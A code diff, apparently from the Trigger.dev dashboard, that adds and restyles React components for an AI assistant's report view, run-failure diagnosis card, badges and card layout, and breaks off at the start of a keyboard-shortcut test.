||||
return <ReportFooterNote>{label}</ReportFooterNote>;
|
||||
}
|
||||
|
||||
if (style === "reference") {
|
||||
const href =
|
||||
target.kind === "external"
|
||||
? target.url
|
||||
: target.kind === "resource" && target.resolved
|
||||
? target.resolved.url
|
||||
: REFERENCE_URL_FALLBACK[code];
|
||||
if (href) {
|
||||
return (
|
||||
<ReportFooterLink href={href} external={!href.startsWith("/")}>
|
||||
{label}
|
||||
</ReportFooterLink>
|
||||
);
|
||||
}
|
||||
return <ReportFooterNote>{label}</ReportFooterNote>;
|
||||
}
|
||||
|
||||
// An action whose target is a URL stays a button; the arrow says it leaves.
|
||||
const actionHref =
|
||||
target.kind === "external"
|
||||
? target.url
|
||||
: target.kind === "none"
|
||||
? ACTION_URL_FALLBACK[code]
|
||||
: undefined;
|
||||
if (actionHref) {
|
||||
return <ReportFooterActionLink href={actionHref}>{label}</ReportFooterActionLink>;
|
||||
}
|
||||
|
||||
const intent: AgentIntent =
|
||||
target.kind === "resource"
|
||||
? { kind: "navigate", target: target.uri }
|
||||
: { kind: "ask", prompt: `How do I ${lowerFirst(label)}?` };
|
||||
|
||||
if (!onIntent) return <ReportFooterNote>{label}</ReportFooterNote>;
|
||||
|
||||
return <ReportFooterAction onClick={() => onIntent(intent)}>{label}</ReportFooterAction>;
|
||||
}
|
||||
|
||||
function lowerFirst(text: string): string {
|
||||
return text.charAt(0).toLowerCase() + text.slice(1);
|
||||
}
|
||||
|
||||
/**
|
||||
* Canonical docs pages for footer codes whose report entry carries no URL.
|
||||
* Without one the entry degrades to prose, which reads as a bug.
|
||||
*/
|
||||
const DOCS_URL_FALLBACK: Record<string, string> = {
|
||||
concurrency_docs: "https://trigger.dev/docs/queue-concurrency",
|
||||
retries_docs: "https://trigger.dev/docs/errors-retrying",
|
||||
queues_docs: "https://trigger.dev/docs/queues",
|
||||
};
|
||||
|
||||
/**
|
||||
* Canonical destinations for action codes whose report entry carries no URL, so
|
||||
* the button opens the page instead of asking the agent how to get there.
|
||||
* Unknown codes keep the `ask` fallback.
|
||||
*/
|
||||
const ACTION_URL_FALLBACK: Record<string, string> = {
|
||||
contact_us_raise_limit: "https://trigger.dev/contact",
|
||||
};
|
||||
|
||||
/** Same idea for cited references: a place to look must stay a link. */
|
||||
const REFERENCE_URL_FALLBACK: Record<string, string> = {
|
||||
check_control_plane: "https://status.trigger.dev",
|
||||
check_platform_status: "https://status.trigger.dev",
|
||||
};
|
||||
|
||||
// --- pieces -----------------------------------------------------------------
|
||||
|
||||
function MetricRow({
|
||||
row,
|
||||
windowMinutes,
|
||||
seriesEndMs,
|
||||
}: {
|
||||
row: LayoutMetricRow;
|
||||
windowMinutes: number;
|
||||
seriesEndMs: number | null;
|
||||
}) {
|
||||
// The hero row's annotation is spelled out rather than tucked in with the baseline.
|
||||
const annotation = row.note?.kind === "annotation" ? row.note.text : undefined;
|
||||
|
||||
return (
|
||||
<ReportMetricRow
|
||||
label={row.label}
|
||||
value={row.value}
|
||||
severity={row.severity}
|
||||
subRows={row.subRows.length > 0 ? row.subRows : undefined}
|
||||
delta={row.delta}
|
||||
note={row.hero && annotation ? undefined : row.note?.text}
|
||||
heroNote={row.hero ? annotation : undefined}
|
||||
series={row.series}
|
||||
windowMinutes={windowMinutes}
|
||||
anomalyMinutes={row.anomalyMinutes}
|
||||
seriesEndMs={seriesEndMs}
|
||||
formatPoint={(value) => fmtValue(value, row.unit)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* A finding's evidence: its metric grid, then the `why:` block. The verdict itself
|
||||
* is the headline or the finding line above.
|
||||
*/
|
||||
function FindingBody({
|
||||
finding,
|
||||
windowMinutes,
|
||||
seriesEndMs,
|
||||
}: {
|
||||
finding: LayoutFinding;
|
||||
windowMinutes: number;
|
||||
seriesEndMs: number | null;
|
||||
}) {
|
||||
return (
|
||||
<div className="space-y-2.5">
|
||||
<ReportMetricList>
|
||||
{finding.metrics.map((row) => (
|
||||
<MetricRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
windowMinutes={windowMinutes}
|
||||
seriesEndMs={seriesEndMs}
|
||||
/>
|
||||
))}
|
||||
</ReportMetricList>
|
||||
|
||||
<ReportNoteBlock label={REPORT_LABELS.why}>
|
||||
{finding.why.map((line, i) => (
|
||||
<ReportProse
|
||||
key={i}
|
||||
text={line}
|
||||
entities={finding.attributionKey ? [finding.attributionKey] : undefined}
|
||||
/>
|
||||
))}
|
||||
</ReportNoteBlock>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// --- card -------------------------------------------------------------------
|
||||
|
||||
export function ReportView({
|
||||
vm,
|
||||
/** The `trigger://…/report/{key}` this snapshot came from, shown as its provenance. */
|
||||
reportUri,
|
||||
/** Emitted when the user clicks a footer action. The host decides what to do. */
|
||||
onIntent,
|
||||
/** Host-supplied `trigger://` resolver. Without one, resource links stay intents. */
|
||||
resolveUri,
|
||||
/**
|
||||
* Host-supplied dashboard paths for footer actions that live on a settings page
|
||||
* rather than behind a URI, keyed by footer code. Only the host knows the
|
||||
* org/project/env slugs.
|
||||
*/
|
||||
pagePaths,
|
||||
}: {
|
||||
vm: ReportViewModelPayload;
|
||||
reportUri?: string;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
resolveUri?: (uri: string) => ResolvedUri | null;
|
||||
pagePaths?: Record<string, string>;
|
||||
}) {
|
||||
const layout = buildReportLayout(vm, messagesFor(vm.title));
|
||||
const severity = layout.headline.severity;
|
||||
const seriesEndMs = toSeriesEndMs(vm.generatedAt);
|
||||
const linkByKey = (key: string | undefined) =>
|
||||
key === undefined ? undefined : vm.links.find((link) => link.key === key)?.url;
|
||||
|
||||
// Links a footer action already speaks for aren't repeated as reading matter.
|
||||
const footerLinkKeys = new Set(layout.footer.map((entry) => entry.link).filter(Boolean));
|
||||
|
||||
const footerItems: ReportFooterItem[] = layout.footer.map((entry) => ({
|
||||
code: entry.code,
|
||||
node: footerEntryNode({
|
||||
code: entry.code,
|
||||
label: entry.label,
|
||||
target: classifyLink(linkByKey(entry.link), resolveUri),
|
||||
onIntent,
|
||||
pagePath: pagePaths?.[entry.code],
|
||||
}),
|
||||
}));
|
||||
|
||||
// Resources the report cites, resolved to dashboard links by the host. Cited,
|
||||
// not offered, so a text link; our docs still get the docs button.
|
||||
for (const link of vm.links) {
|
||||
if (footerLinkKeys.has(link.key)) continue;
|
||||
const target = classifyLink(link.url, resolveUri);
|
||||
if (target.kind === "external") {
|
||||
footerItems.push({
|
||||
code: link.key,
|
||||
node:
|
||||
reportFooterStyle(link.key) === "docs" ? (
|
||||
<ReportFooterActionLink href={target.url} docs>
|
||||
{link.label}
|
||||
</ReportFooterActionLink>
|
||||
) : (
|
||||
<ReportFooterLink href={target.url} external>
|
||||
{link.label}
|
||||
</ReportFooterLink>
|
||||
),
|
||||
});
|
||||
} else if (target.kind === "resource" && target.resolved) {
|
||||
footerItems.push({
|
||||
code: link.key,
|
||||
node: (
|
||||
<ReportFooterLink href={target.resolved.url}>{target.resolved.label}</ReportFooterLink>
|
||||
),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<ReportCard>
|
||||
<ReportHeaderLine name={layout.header.name} meta={layout.header.meta}>
|
||||
{layout.trust ? <AgentBadge tone="warning">{layout.trust.badge}</AgentBadge> : null}
|
||||
</ReportHeaderLine>
|
||||
|
||||
<ReportBody dimmed={layout.trust !== undefined}>
|
||||
<ReportHeadline
|
||||
severity={severity}
|
||||
tone={layout.headline.tone}
|
||||
phrase={layout.headline.phrase}
|
||||
continuation={layout.headline.text}
|
||||
/>
|
||||
|
||||
{layout.trust ? <p className="text-sm text-warning">{layout.trust.note}</p> : null}
|
||||
|
||||
{layout.hero && layout.hero.expanded ? (
|
||||
<FindingBody
|
||||
finding={layout.hero}
|
||||
windowMinutes={vm.windowMinutes}
|
||||
seriesEndMs={seriesEndMs}
|
||||
/>
|
||||
) : null}
|
||||
|
||||
{layout.findings.length > 0 || layout.statements.length > 0 ? (
|
||||
<div className="space-y-2.5">
|
||||
{layout.findings.map((finding, i) => (
|
||||
<div key={`${finding.type}-${i}`} className="space-y-2">
|
||||
<ReportFindingLine
|
||||
severity={finding.severity}
|
||||
tone={finding.tone}
|
||||
type={finding.label}
|
||||
bright={finding.severity !== "ok"}
|
||||
text={finding.text}
|
||||
/>
|
||||
{finding.expanded ? (
|
||||
<div className="pl-[1.375rem]">
|
||||
<FindingBody
|
||||
finding={finding}
|
||||
windowMinutes={vm.windowMinutes}
|
||||
seriesEndMs={seriesEndMs}
|
||||
/>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
))}
|
||||
{layout.statements.map((statement, i) => (
|
||||
<p key={`s${i}`} className="flex items-center gap-1.5 text-sm">
|
||||
<ReportSeverityIcon severity={statement.severity} tone={statement.tone} />
|
||||
<span className="text-text-dimmed">{statement.text}</span>
|
||||
</p>
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<ReportNoteBlock label={REPORT_LABELS.read}>
|
||||
{layout.reads.map((read, i) => (
|
||||
<ReportProse key={i} text={read} />
|
||||
))}
|
||||
</ReportNoteBlock>
|
||||
|
||||
<ReportFooterLine items={footerItems} />
|
||||
|
||||
{reportUri ? <ReportProvenance uri={reportUri} /> : null}
|
||||
</ReportBody>
|
||||
</ReportCard>
|
||||
);
|
||||
}
|
||||
@@ -1,36 +1,75 @@
|
||||
import { Link } from "@remix-run/react";
|
||||
import { BookOpenIcon } from "@heroicons/react/20/solid";
|
||||
import type { DiagnosisBlock } from "@internal/dashboard-agent";
|
||||
import { Badge } from "~/components/primitives/Badge";
|
||||
import { LinkButton } from "~/components/primitives/Buttons";
|
||||
import { TextLink } from "~/components/primitives/TextLink";
|
||||
import { toSafeUrl } from "~/components/runs/v3/agent/AgentMessageView";
|
||||
import { CategoryBadge, ConfidenceBadge, EVIDENCE_ROW_CLASS } from "./agent-badges";
|
||||
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
|
||||
import { useOptionalEnvironment } from "~/hooks/useEnvironment";
|
||||
import { useOptionalOrganization } from "~/hooks/useOrganizations";
|
||||
import { useOptionalProject } from "~/hooks/useProject";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { v3RunPath } from "~/utils/pathBuilder";
|
||||
import { planDiagnosisActions } from "./diagnosis-actions";
|
||||
import { isRunFriendlyId } from "./run-id";
|
||||
|
||||
// The "why did this run fail?" failure card — the first block in the dashboard
|
||||
// agent's view catalog. Rendered from a `diagnosis` block the agent emits via
|
||||
// the render_view tool (see internal-packages/dashboard-agent tool-schemas).
|
||||
// Everything here is plain presentation of validated fields; no markup comes
|
||||
// from the model, so there's nothing to sanitize beyond outbound URLs.
|
||||
// No markup comes from the model, so only outbound URLs need checking.
|
||||
|
||||
const CATEGORY_LABELS: Record<DiagnosisBlock["category"], string> = {
|
||||
user_code_error: "Code error",
|
||||
configuration: "Configuration",
|
||||
dependency: "Dependency",
|
||||
timeout: "Timeout",
|
||||
out_of_memory: "Out of memory",
|
||||
rate_limit: "Rate limit",
|
||||
external_service: "External service",
|
||||
infrastructure: "Infrastructure",
|
||||
cancellation: "Cancelled",
|
||||
unknown: "Unknown",
|
||||
};
|
||||
function Em({ children }: { children: React.ReactNode }) {
|
||||
return <span className="font-semibold text-text-bright">{children}</span>;
|
||||
}
|
||||
|
||||
const CONFIDENCE_STYLES: Record<DiagnosisBlock["confidence"], string> = {
|
||||
high: "border-emerald-500/40 text-emerald-400",
|
||||
medium: "border-amber-500/40 text-amber-400",
|
||||
low: "border-border-bright text-text-dimmed",
|
||||
const CATEGORY_SENTENCES: Record<DiagnosisBlock["category"], React.ReactNode> = {
|
||||
user_code_error: (
|
||||
<>
|
||||
A <Em>bug</Em> in the task's own code
|
||||
</>
|
||||
),
|
||||
configuration: (
|
||||
<>
|
||||
A <Em>misconfigured setting</Em> on the task, queue or environment
|
||||
</>
|
||||
),
|
||||
dependency: (
|
||||
<>
|
||||
A <Em>package or build dependency</Em> problem
|
||||
</>
|
||||
),
|
||||
timeout: (
|
||||
<>
|
||||
The run hit its <Em>time limit</Em>
|
||||
</>
|
||||
),
|
||||
out_of_memory: (
|
||||
<>
|
||||
The run ran out of <Em>memory</Em>
|
||||
</>
|
||||
),
|
||||
rate_limit: (
|
||||
<>
|
||||
A <Em>rate limit</Em> was hit
|
||||
</>
|
||||
),
|
||||
external_service: (
|
||||
<>
|
||||
A <Em>third-party service</Em> the task calls failed
|
||||
</>
|
||||
),
|
||||
infrastructure: (
|
||||
<>
|
||||
A <Em>platform-side</Em> problem — not your code
|
||||
</>
|
||||
),
|
||||
cancellation: (
|
||||
<>
|
||||
The run was <Em>cancelled</Em> before finishing
|
||||
</>
|
||||
),
|
||||
unknown: (
|
||||
<>
|
||||
The cause <Em>couldn't be classified</Em>
|
||||
</>
|
||||
),
|
||||
};
|
||||
|
||||
const EVIDENCE_LABELS: Record<DiagnosisBlock["evidence"][number]["type"], string> = {
|
||||
@@ -43,104 +82,74 @@ const EVIDENCE_LABELS: Record<DiagnosisBlock["evidence"][number]["type"], string
|
||||
historical_match: "History",
|
||||
};
|
||||
|
||||
// Build a run-page path in the current org/project/env, or null when that route
|
||||
// context is absent (e.g. the storybook page) so the card degrades to plain
|
||||
// text rather than throwing.
|
||||
function useRunPath(runId: string): string | null {
|
||||
// Null when the route context is absent, so the card degrades to plain text.
|
||||
function useRunPathResolver(): (runId: string) => string | null {
|
||||
const organization = useOptionalOrganization();
|
||||
const project = useOptionalProject();
|
||||
const environment = useOptionalEnvironment();
|
||||
if (!organization || !project || !environment) return null;
|
||||
return v3RunPath(organization, project, environment, { friendlyId: runId });
|
||||
return (runId) =>
|
||||
organization && project && environment
|
||||
? v3RunPath(organization, project, environment, { friendlyId: runId })
|
||||
: null;
|
||||
}
|
||||
|
||||
function useRunPath(runId: string): string | null {
|
||||
return useRunPathResolver()(runId);
|
||||
}
|
||||
|
||||
// Internal link to a run page, built from the canonical path builder so it stays
|
||||
// correct if the route shape changes. Falls back to plain text off-context.
|
||||
function RunLink({ runId, className }: { runId: string; className?: string }) {
|
||||
const to = useRunPath(runId);
|
||||
if (!to) return <span className={cn("font-mono text-text-dimmed", className)}>{runId}</span>;
|
||||
return (
|
||||
<Link to={to} className={cn("text-indigo-400 underline hover:text-indigo-300", className)}>
|
||||
<TextLink to={to} variant="token" className={cn("underline", className)}>
|
||||
{runId}
|
||||
</Link>
|
||||
</TextLink>
|
||||
);
|
||||
}
|
||||
|
||||
// Render an evidence `reference`: a run id links to its run page, an https URL
|
||||
// becomes an external link, everything else (error id, file:line, version) is
|
||||
// shown as monospace text.
|
||||
function EvidenceReference({ reference }: { reference: string }) {
|
||||
if (/^run_[a-z0-9]+$/i.test(reference)) {
|
||||
if (isRunFriendlyId(reference)) {
|
||||
return <RunLink runId={reference} className="font-mono text-xs" />;
|
||||
}
|
||||
const safeUrl = toSafeUrl(reference);
|
||||
if (safeUrl) {
|
||||
return (
|
||||
<a
|
||||
<TextLink
|
||||
href={safeUrl}
|
||||
variant="token"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="font-mono text-xs text-indigo-400 underline hover:text-indigo-300"
|
||||
className="font-mono text-xs underline"
|
||||
>
|
||||
{reference}
|
||||
</a>
|
||||
</TextLink>
|
||||
);
|
||||
}
|
||||
return <span className="font-mono text-xs text-text-dimmed">{reference}</span>;
|
||||
}
|
||||
|
||||
function DiagnosisActions({ actions }: { actions: NonNullable<DiagnosisBlock["actions"]> }) {
|
||||
const buttonClass =
|
||||
"inline-flex items-center rounded border border-border-bright bg-background-bright px-2.5 py-1 text-xs text-text-bright transition-colors hover:border-border-brightest hover:bg-background-hover";
|
||||
return (
|
||||
<div className="flex flex-wrap gap-2 pt-1">
|
||||
{actions.map((action, i) => {
|
||||
if (action.kind === "view_run" && /^run_[a-z0-9]+$/i.test(action.target)) {
|
||||
return (
|
||||
<RunActionButton
|
||||
key={i}
|
||||
runId={action.target}
|
||||
label={action.label}
|
||||
className={buttonClass}
|
||||
/>
|
||||
);
|
||||
}
|
||||
if (action.kind === "docs") {
|
||||
const safeUrl = toSafeUrl(action.target);
|
||||
if (!safeUrl) return null;
|
||||
return (
|
||||
<a
|
||||
key={i}
|
||||
href={safeUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className={buttonClass}
|
||||
>
|
||||
{action.label}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
const runPath = useRunPathResolver();
|
||||
const planned = planDiagnosisActions(actions, {
|
||||
runPath,
|
||||
docsUrl: (target) => toSafeUrl(target),
|
||||
});
|
||||
if (planned.length === 0) return null;
|
||||
|
||||
function RunActionButton({
|
||||
runId,
|
||||
label,
|
||||
className,
|
||||
}: {
|
||||
runId: string;
|
||||
label: string;
|
||||
className: string;
|
||||
}) {
|
||||
const to = useRunPath(runId);
|
||||
if (!to) return <span className={className}>{label}</span>;
|
||||
return (
|
||||
<Link to={to} className={className}>
|
||||
{label}
|
||||
</Link>
|
||||
<div className="flex flex-wrap gap-2 pt-2">
|
||||
{planned.map((action, i) =>
|
||||
action.kind === "docs" ? (
|
||||
<LinkButton key={i} to={action.to} variant="docs/small" LeadingIcon={BookOpenIcon}>
|
||||
{action.label}
|
||||
</LinkButton>
|
||||
) : (
|
||||
<LinkButton key={i} to={action.to} variant="primary/small">
|
||||
{action.label}
|
||||
</LinkButton>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -150,19 +159,24 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
|
||||
const actions = block.actions ?? [];
|
||||
|
||||
return (
|
||||
<div className="overflow-hidden rounded-lg border border-border-bright bg-background-dimmed">
|
||||
<div className="flex flex-wrap items-center gap-2 border-b border-grid-bright bg-background-bright px-3 py-2">
|
||||
<span className="text-xs font-medium text-text-dimmed">Run diagnosis</span>
|
||||
<Badge variant="small" className="border-rose-500/40 text-rose-400">
|
||||
{CATEGORY_LABELS[block.category] ?? block.category}
|
||||
</Badge>
|
||||
<Badge variant="small" className={cn("uppercase", CONFIDENCE_STYLES[block.confidence])}>
|
||||
{block.confidence} confidence
|
||||
</Badge>
|
||||
{block.runId ? <RunLink runId={block.runId} className="ml-auto font-mono text-xs" /> : null}
|
||||
</div>
|
||||
<AgentCard>
|
||||
<AgentCardHeader className="space-y-1.5">
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<span className="text-xs font-medium text-text-dimmed">Run diagnosis</span>
|
||||
<ConfidenceBadge confidence={block.confidence} />
|
||||
</div>
|
||||
<p className="text-sm text-text-dimmed">
|
||||
{CATEGORY_SENTENCES[block.category] ?? block.category}
|
||||
</p>
|
||||
{block.runId ? (
|
||||
<div className="truncate">
|
||||
{/* `block` so the ellipsis still lands: the link itself is inline-flex. */}
|
||||
<RunLink runId={block.runId} className="block truncate font-mono text-xs" />
|
||||
</div>
|
||||
) : null}
|
||||
</AgentCardHeader>
|
||||
|
||||
<div className="space-y-3 px-3 py-3">
|
||||
<AgentCardBody density="roomy">
|
||||
<p className="text-sm text-text-bright">{block.summary}</p>
|
||||
|
||||
<Section title="Likely cause">
|
||||
@@ -171,18 +185,20 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
|
||||
|
||||
{evidence.length > 0 ? (
|
||||
<Section title="Evidence">
|
||||
<ul className="space-y-1.5">
|
||||
<ul className="space-y-3">
|
||||
{evidence.map((item, i) => (
|
||||
<li key={i} className="text-xs text-text-dimmed">
|
||||
<span className="mr-1.5 rounded-sm bg-background-raised px-1 py-0.5 text-[10px] uppercase tracking-wide text-text-dimmed">
|
||||
<li key={i} className={EVIDENCE_ROW_CLASS}>
|
||||
<CategoryBadge className="justify-self-start">
|
||||
{EVIDENCE_LABELS[item.type] ?? item.type}
|
||||
</span>
|
||||
<span className="text-text-bright">{item.detail}</span>
|
||||
{item.reference ? (
|
||||
<span className="ml-1.5">
|
||||
<EvidenceReference reference={item.reference} />
|
||||
</span>
|
||||
) : null}
|
||||
</CategoryBadge>
|
||||
<div className="min-w-0 space-y-1 text-xs">
|
||||
<p className="text-text-bright">{item.detail}</p>
|
||||
{item.reference ? (
|
||||
<div className="break-all">
|
||||
<EvidenceReference reference={item.reference} />
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
@@ -197,7 +213,7 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
|
||||
|
||||
{nextSteps.length > 0 ? (
|
||||
<Section title="Next steps">
|
||||
<ol className="list-decimal space-y-1 pl-4">
|
||||
<ol className="list-decimal space-y-2 pl-5">
|
||||
{nextSteps.map((step, i) => (
|
||||
<li key={i} className="text-sm text-text-dimmed">
|
||||
{step}
|
||||
@@ -208,14 +224,14 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
|
||||
) : null}
|
||||
|
||||
{actions.length > 0 ? <DiagnosisActions actions={actions} /> : null}
|
||||
</div>
|
||||
</div>
|
||||
</AgentCardBody>
|
||||
</AgentCard>
|
||||
);
|
||||
}
|
||||
|
||||
function Section({ title, children }: { title: string; children: React.ReactNode }) {
|
||||
return (
|
||||
<div className="space-y-1">
|
||||
<div className="space-y-2">
|
||||
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">{title}</h4>
|
||||
{children}
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
import {
|
||||
CheckCircleIcon,
|
||||
ExclamationCircleIcon,
|
||||
ExclamationTriangleIcon,
|
||||
InformationCircleIcon,
|
||||
NoSymbolIcon,
|
||||
QuestionMarkCircleIcon,
|
||||
} from "@heroicons/react/20/solid";
|
||||
import { Badge } from "~/components/primitives/Badge";
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
export type AgentTone = "neutral" | "success" | "warning" | "error";
|
||||
|
||||
// Semantic tokens, not raw palette classes: raw ones are dark-theme only.
|
||||
// The `system:` overrides stop the Badge `small` variant tinting every chip blue.
|
||||
const TONE_BADGE: Record<AgentTone, string> = {
|
||||
neutral:
|
||||
"border-border-bright text-text-dimmed system:border-transparent system:bg-charcoal-500/10 system:text-text-dimmed",
|
||||
success:
|
||||
"border-success/40 text-success system:border-transparent system:bg-success/10 system:text-success",
|
||||
warning:
|
||||
"border-warning/40 text-warning system:border-transparent system:bg-warning/10 system:text-warning",
|
||||
error:
|
||||
"border-error/40 text-error system:border-transparent system:bg-error/10 system:text-error",
|
||||
};
|
||||
|
||||
export const TONE_ICON_COLOR: Record<AgentTone, string> = {
|
||||
neutral: "text-text-dimmed",
|
||||
success: "text-success",
|
||||
warning: "text-warning",
|
||||
error: "text-error",
|
||||
};
|
||||
|
||||
type IconComponent = (props: { className?: string }) => JSX.Element;
|
||||
|
||||
export function AgentBadge({
|
||||
tone = "neutral",
|
||||
icon: Icon,
|
||||
className,
|
||||
children,
|
||||
}: {
|
||||
tone?: AgentTone;
|
||||
icon?: IconComponent;
|
||||
className?: string;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<Badge
|
||||
variant="small"
|
||||
className={cn(
|
||||
// `contrast-chip`: the tinted chip gains a ring as interface contrast rises.
|
||||
"contrast-chip px-1.5 [&>span]:flex [&>span]:items-center [&>span]:gap-1",
|
||||
TONE_BADGE[tone],
|
||||
className
|
||||
)}
|
||||
>
|
||||
{Icon ? <Icon className="size-3 shrink-0" /> : null}
|
||||
{children}
|
||||
</Badge>
|
||||
);
|
||||
}
|
||||
|
||||
export function CategoryBadge({
|
||||
className,
|
||||
children,
|
||||
}: {
|
||||
className?: string;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<AgentBadge tone="neutral" className={className}>
|
||||
{children}
|
||||
</AgentBadge>
|
||||
);
|
||||
}
|
||||
|
||||
export type AgentConfidence = "high" | "medium" | "low";
|
||||
|
||||
const CONFIDENCE_TONE: Record<AgentConfidence, AgentTone> = {
|
||||
high: "success",
|
||||
medium: "warning",
|
||||
low: "neutral",
|
||||
};
|
||||
|
||||
const CONFIDENCE_ICON: Record<AgentConfidence, IconComponent> = {
|
||||
high: CheckCircleIcon,
|
||||
medium: ExclamationTriangleIcon,
|
||||
low: QuestionMarkCircleIcon,
|
||||
};
|
||||
|
||||
const CONFIDENCE_LABEL: Record<AgentConfidence, string> = {
|
||||
high: "High confidence",
|
||||
medium: "Medium confidence",
|
||||
low: "Low confidence",
|
||||
};
|
||||
|
||||
export function ConfidenceBadge({ confidence }: { confidence: AgentConfidence }) {
|
||||
return (
|
||||
<AgentBadge tone={CONFIDENCE_TONE[confidence]} icon={CONFIDENCE_ICON[confidence]}>
|
||||
{CONFIDENCE_LABEL[confidence]}
|
||||
</AgentBadge>
|
||||
);
|
||||
}
|
||||
|
||||
export type AgentSeverity = "info" | "warn" | "crit";
|
||||
|
||||
const SEVERITY_TONE: Record<AgentSeverity, AgentTone> = {
|
||||
info: "neutral",
|
||||
warn: "warning",
|
||||
crit: "error",
|
||||
};
|
||||
|
||||
const SEVERITY_ICON: Record<AgentSeverity, IconComponent> = {
|
||||
info: InformationCircleIcon,
|
||||
warn: ExclamationTriangleIcon,
|
||||
crit: ExclamationCircleIcon,
|
||||
};
|
||||
|
||||
export function SeverityBadge({
|
||||
severity,
|
||||
children,
|
||||
}: {
|
||||
severity: AgentSeverity;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<AgentBadge tone={SEVERITY_TONE[severity]} icon={SEVERITY_ICON[severity]}>
|
||||
{children}
|
||||
</AgentBadge>
|
||||
);
|
||||
}
|
||||
|
||||
export type AgentVerdict = "testing" | "validated" | "invalidated";
|
||||
|
||||
const VERDICT_TONE: Record<AgentVerdict, AgentTone> = {
|
||||
testing: "neutral",
|
||||
validated: "success",
|
||||
invalidated: "neutral",
|
||||
};
|
||||
|
||||
const VERDICT_ICON: Record<AgentVerdict, IconComponent | undefined> = {
|
||||
testing: undefined,
|
||||
validated: CheckCircleIcon,
|
||||
invalidated: NoSymbolIcon,
|
||||
};
|
||||
|
||||
export function VerdictBadge({
|
||||
verdict,
|
||||
children,
|
||||
}: {
|
||||
verdict: AgentVerdict;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<AgentBadge tone={VERDICT_TONE[verdict]} icon={VERDICT_ICON[verdict]}>
|
||||
{children}
|
||||
</AgentBadge>
|
||||
);
|
||||
}
|
||||
|
||||
export const EVIDENCE_ROW_CLASS = "grid grid-cols-[6.5rem_1fr] items-start gap-x-3";
|
||||
|
||||
export function AgentStatusIcon({
|
||||
tone,
|
||||
icon: Icon,
|
||||
className,
|
||||
}: {
|
||||
tone: AgentTone;
|
||||
icon: IconComponent;
|
||||
className?: string;
|
||||
}) {
|
||||
return <Icon className={cn("size-4 shrink-0", TONE_ICON_COLOR[tone], className)} />;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// The transcript's card chrome. `ChatCardSlot` places a card; this owns the box,
|
||||
// so stacked cards can't drift apart on border, surface or header inset.
|
||||
import type { ReactNode } from "react";
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
const CARD_BOX = "overflow-hidden rounded-lg border border-border-bright bg-background-dimmed";
|
||||
|
||||
/** One header inset for every card, whatever its body density. */
|
||||
const CARD_HEADER = "border-b border-grid-bright bg-background-bright px-3 py-2";
|
||||
|
||||
const CARD_BODY: Record<AgentCardDensity, string> = {
|
||||
compact: "space-y-4 px-3 py-3.5",
|
||||
roomy: "space-y-5 px-3 py-4",
|
||||
};
|
||||
|
||||
/** How much air a card's body gives its sections. */
|
||||
export type AgentCardDensity = "compact" | "roomy";
|
||||
|
||||
export function AgentCard({ className, children }: { className?: string; children: ReactNode }) {
|
||||
return <div className={cn(CARD_BOX, className)}>{children}</div>;
|
||||
}
|
||||
|
||||
/** The card's top strip. `className` carries its own layout, never its inset. */
|
||||
export function AgentCardHeader({
|
||||
className,
|
||||
children,
|
||||
}: {
|
||||
className?: string;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
return <div className={cn(CARD_HEADER, className)}>{children}</div>;
|
||||
}
|
||||
|
||||
export function AgentCardBody({
|
||||
density = "compact",
|
||||
className,
|
||||
children,
|
||||
}: {
|
||||
density?: AgentCardDensity;
|
||||
className?: string;
|
||||
children: ReactNode;
|
||||
}) {
|
||||
return <div className={cn(CARD_BODY[density], className)}>{children}</div>;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
import { ChatBubbleLeftRightIcon } from "@heroicons/react/20/solid";
|
||||
|
||||
// TODO(TRI-12763): swap in the final character icon here.
|
||||
export const AGENT_NAME = "Trigger";
|
||||
|
||||
export const ASK_AGENT_LABEL = `Ask ${AGENT_NAME}`;
|
||||
|
||||
export const AgentIcon = ChatBubbleLeftRightIcon;
|
||||
|
||||
export const AGENT_ICON_ACCENT_CLASS = "text-indigo-500";
|
||||
|
||||
// The open keystroke is `TOGGLE_PANEL_SHORTCUT` in `dashboardAgentLauncher`,
|
||||
// registered once by the host.
|
||||
@@ -0,0 +1,62 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { hotkeyOptions } from "~/hooks/useShortcutKeys";
|
||||
import { ASK_AI_SHORTCUT } from "./ask-ai-channels";
|
||||
import { TOGGLE_PANEL_SHORTCUT } from "./dashboardAgentLauncher";
|
||||
|
||||
const enabled = { isEnabled: true };
|
||||
|
||||
describe("the agent's shortcuts", () => {
|
||||
it("asks for Cmd-J's browser default to be prevented", () => {
|
||||
